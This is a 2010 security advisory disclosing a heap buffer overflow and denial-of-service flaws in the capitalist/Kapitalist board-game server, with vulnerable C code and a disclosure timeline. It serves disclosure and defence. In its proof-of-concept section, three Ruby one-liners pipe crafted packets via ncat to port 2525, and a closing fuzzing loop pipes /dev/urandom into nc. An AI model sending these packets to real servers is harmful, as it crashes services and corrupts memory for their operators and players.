GVI-2010-01 : Multiple vulnerabilities in Kapitalist/capitalist Overview ----------- Quote from http://kapitalist.sourceforge.net/ "Kapitalist is a Monopoly®-like board game for 2-8 players. Walk around the board, buy properties, receive rent from your competitors, try to get monopolies to build houses and hotels on them and finally be the richest on the board. " Description ------------- Two issues were found in capitalist when sending specially crafted packets. One results in heap corruption, the second makes the server enter in an endless loop resulting in a Denial-of-Service. Additionally, sending a specially crafted packet causes the connected clients to disconnect. Details -------- Vulnerable Product : capitalist 0.3.1, Kapitalist 0.4 Vulnerability Type : Buffer overflow, Denial-of-Service Discovered by : Sébastien Duquette (virtualguardian.ca) Original Advisory : http://www.gardienvirtuel.ca/wp-content/uploads/2010/05/GVI-2010-01-EN.txt Timeline ---------- The vendor was contacted but no response was received in a two weeks delay. Bug Discovered : October 12th, 2009 Vendor Advised : October 14th, 2009 Additional info sent : October 17th, 2009 Vendor Response : October 26th, 2009 Vendor recontacted : February 7th, 2010 Vendor Response : February 14th, 2010 Public Disclosure : May 13th, 2010 Analysis -------- When receiving a join game request, capitalist allocates a packet_req_join_game structure on the heap and copies the received data to it. On the last shown line, it copies a string. It does not check however if the string fits in the allocated buffer. common/packets.cpp, line 432 struct packet_req_join_game * receive_packet_req_join_game(struct connection *pc) { unsigned char *cptr; struct packet_req_join_game *packet= (struct packet_req_join_game *) cap_malloc(sizeof(struct packet_req_join_game)); cptr=get_int16(pc->buffer.data, NULL); cptr=get_int8(cptr, NULL); cptr=get_string(cptr, packet->name); When called, the get_string() method will copy the string and cause a buffer overflow if the string is longer than the allocated size (10 bytes). common/packets.cpp, line 271 unsigned char *get_string(unsigned char *buffer, char *mystring) { unsigned char *c; int len; /* avoid using strlen (or strcpy) on an (unsigned char*) --dwp */ for(c=buffer; *c; c++) ; len = c-buffer+1; if(mystring) { memcpy(mystring, buffer, len); } return buffer+len; } Proof of concept ---------------- Bug #1: Heap corruption ~~~~~~~~~~~~~~~~~~~~~~~ ruby -e "print 0x00.chr << 0x14 << 0x00 << 'A'*35 << 0x00 " | ncat SERVER 2525 If MALLOC_CHECK_ is enabled, a similar message will be printed : *** glibc detected *** /home/ekse/src/capitalist2/bin/capitalist: malloc(): memory corruption: 0x081a7650 *** Inspecting the memory shows that our packet is the source of the crash: (gdb) x 0x081a7650 0x81a7650: 0x00414141 Bug #2: Endless loop ~~~~~~~~~~~~~~~~~~~~ ruby -e "print 0x00.chr << 0x14 << 0x00 << 'AAAAAAAAAA' << 0x00.chr * 8 << 0x02 << 0x00.chr * 3 << 0x00" | ncat SERVER 2525 Bug #3: Crashing the clients ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ruby -e "print 0x00.chr << 0x14 << 0x00 << 'AAAAA' << 0x00.chr * 8 << 0x02 << 0x00.chr * 3 << 0x00" | ncat SERVER 2525 After sending this packet, close ncat. The clients will then crash with the following message : kapitalist: kapgame.cpp:239: Player* const KapGame::player(int) const: Assertion `!nobody(id)' failed. Fun Fact --------- The flaw in the server was found this way : while true; do cat /dev/urandom | nc 127.0.0.1 2525 Solution --------- There are currently no fix for these issues. It is recommend not to make servers available on the Internet and accept connections only from trusted sources. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/